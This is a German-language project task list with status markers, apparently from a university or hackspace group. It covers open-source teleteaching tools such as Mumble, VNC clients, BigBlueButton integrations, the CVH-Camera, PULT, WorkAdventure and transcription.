-:) cvh-bot
-:) Docker für VNC
-:) CVH-Camera
-:o dynamische Kamera-Positionierung für PULT
- o Mumsi die Anzeige der Telefonnummer abgewöhnen
- o Telefon-Wahl aus Mumble heraus
- - Mumble-Chat mit BBB-Chat verbinden
- - cvh-bot mit BBB-Umfragen verbinden
- * noVNC in BBB einbauen
- * yesVNC in BBB einbauen
- - Listening VNC Viewer in BBB einbauen
- * CVH-Camera in BBB einbauen
- - Repeater für Mumble
- - Repeater für CVH-Camera (Janus, PULT)
- * yesVNC nach WebAssembly übersetzen
- - yesVNC auch im Hintergrund laufen lassen
- - Scroll-Algorithmus für x11vnc oder TightVNC
- - Kombinierter Desktop-Client für VNC und Mumble
- * Mumble-Desktop-Client: Konfiguration vereinfachen
-:o Mumble/VNC/CVH-Camera für weitere Plattformen nutzbar machen, z.B. iOS, MacOS X
- - Mumble-Client: Forward-Error-Correction aktivierbar machen
- - PULT auf übersichtlichere und effizientere Weise neu programmieren
- * Docker für PULT
- * Komfortable Fernsteuerung von Rechnern von Teilnehmenden über VNC in PULT
-   Server: z.B. TightVNC; Client: z.B. noVNC
- - Komfortable Fernsteuerung von Rechnern von Teilnehmenden über VNC in BBB
- - Work Advanture für die Hochschule installieren
-   Bsp-Instanz aus Bochum (von dem dortigen Hackspace): https://virtuallab.das-labor.org/
-   Doku dazu: https://howto.rc3.world/workadventure.en.html
- * 3d-Scan aus einem Film heraus
- - BBB: Standard-Umfrage: Ja/Nein/Enthaltung
- - Mobil mit 10 Fingern bedienbare Tastatur
- - Sinnvolle Anwendung für PineWatch
- - Automatische Transkription in BBB und/oder PULT
-   (zum Vergleich https://github.com/jitsi/jigasi/pull/294)
- - Treiber für freies Smartphone
- - Echtzeit-Kommunikation mit freiem Smartphone
- - adele
- - GNU Pascal